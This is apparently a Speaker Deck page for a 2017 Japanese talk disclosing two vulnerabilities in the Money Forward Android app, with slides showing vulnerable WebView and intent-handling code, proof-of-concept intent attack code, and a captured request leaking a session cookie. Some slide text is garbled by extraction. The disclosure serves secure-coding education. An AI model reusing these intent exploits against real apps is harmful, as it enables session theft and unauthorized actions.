Upgrade to Pro — share decks privately, control downloads, hide ads and more …

ドキッ★脆弱性 onCreate() から onDestroy() まで

ドキッ★脆弱性 onCreate() から onDestroy() まで

■対象者
初心者〜上級者。
Androidアプリで実際に公開された脆弱性について興味のある方。

脆弱性はバグです。バグは必ず産まれるものです。例えセキュアコーディングガイドを隅から隅まで暗証してたとて、予期せず脆弱な実装は世にでるでしょう。本発表ではJVN49343562とJVN61297210が付与されたAndroidアプリ「マネーフォワード」の「WebView クラスに関する脆弱性」「任意の操作が実⾏可能な脆弱性」について、下記のアジェンダ(仮)でご紹介いたします。

- 脆弱性対応タイムライン
- 脆弱な実装の紹介
- 脆弱な実装の修正
- 脆弱な実装の背景
- 俺たちはどう脆弱性に向き合っていくのか

こういたノットベスト・プラクティスを共有することで、世の中のアプリの品質がより高くなることを願っています。又、一歩踏み込んでこういったバグをも知見としてオープンに共有できる文化作りに一端を担いたいと思います。

Kengo Suzuki

March 10, 2017
Tweet

More Decks by Kengo Suzuki

Other Decks in Programming

Transcript

  1. protected String getUrl() { final String url = getIntent().getDataString(); if

    (dataString.contains(SCHEME_INSECURE_WEBVIEW)) { return url.replace(SCHEME_INSECURE,HTTP); } else { return url.replace(SCHEME_WEBVIEW,HTTPS) } } 8FC7JFX"DUJWJUZ ಺෦༻Ͱ͸ͳ͍ػೳͷ௥Ճ ຊདྷͷ༻్Ͱ͸ͳ͍  ݺͼग़͠ݩͷݕূ͕͞Ε͍ͯͳ͍
  2. Uri uri = Uri.parse("http://moneyforward.com/some_api"); Intent i = new Intent(Intent.ACTION_VIEW, uri);

    i.putExtra("title", "Get Profile"); i.setClassName("com.moneyforward.android.app", "hoge.WebViewActivity"); i.putExtra("JavaScript", true); i.putExtra("sync_cookies", true); startActivity(i); ߈ܸίʔυ
  3. ߈ܸ݁Ռ GET /some_api HTTP/1.1 Host: moneyforward.com Connection: close Accept: text/html,application/xhtml+xml,application/

    xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: MFAndroidApp/7.9.2/14070903/UnitInfo/samsung/samsung/ SC-04F/4.4.2/19 Accept-Encoding: gzip,deflate Accept-Language: en-US Cookie: _session={ηογϣϯΩʔ} ˒ X-Requested-With: com.moneyforward.android.app
  4. ೥݄ࠒ 1VTI5BSHFUFE"DUJWJUZ$MBTT/BNF ༧ࢉ "DUJWJUZ Ոܭ฽ "DUJWJUZ खೖྗ "DUJWJUZ .POEBZ 5VFTEBZ

    5IVSTEBZ .BJO "DUJWJUZ &YUFSOBM "QQ ֎෦ΞϓϦͷݕূ͕͞Εͯͳ͍ ʢ͜͜Ͱ੬ऑੑ͕ݦࡏԽ͞ΕΔʣ
  5. final Serializable launchActivityClass = getIntent().getSerializableExtra(GCMCommand.EXTRA_LAUNCH_ACTIVITY); if (launchActivityClass != null &&

    launchActivityClass instanceof Class<?> && launchActivityClass != this.getClass()) { startActivity( new Intent(this, (Class<?>)), launchActivityClass); } .BJO"DUJWJUZ
  6. ߈ܸίʔυ hoge.TargetActivity o = new hoge.Targettivity(); Intent i = new

    Intent(); i.setClassName("com.moneyforward.android.app", "com.moneyforward.android.ui.MainActivity"); i.setAction("android.intent.action.VIEW"); i.putExtra("launchActivity", o.getClass()) startActivity(i);
  7. 4BGFUZWT4FDVSJUZ w ҆શ4BGFUZ /PU4FDVSJUZ  w 4BGFUZJTUIFDPOEJUJPOPGB lTUFBEZTUBUFzPGBOPSHBOJ[BUJPOPSQMBDFEPJOH XIBUJUJTTVQQPTFEUPEP w

    4FDVSJUZJTUIFQSPDFTTPGEFMBZJOH  QSFWFOUJOH BOEPUIFSXJTFQSPUFDUJOHBOPSHBOJ[BUJPO`TlTUFBEZTUBUF z w <ग़య>IUUQTFOXJLJQFEJBPSHXJLJ4BGFUZDJUF@OPUF"JB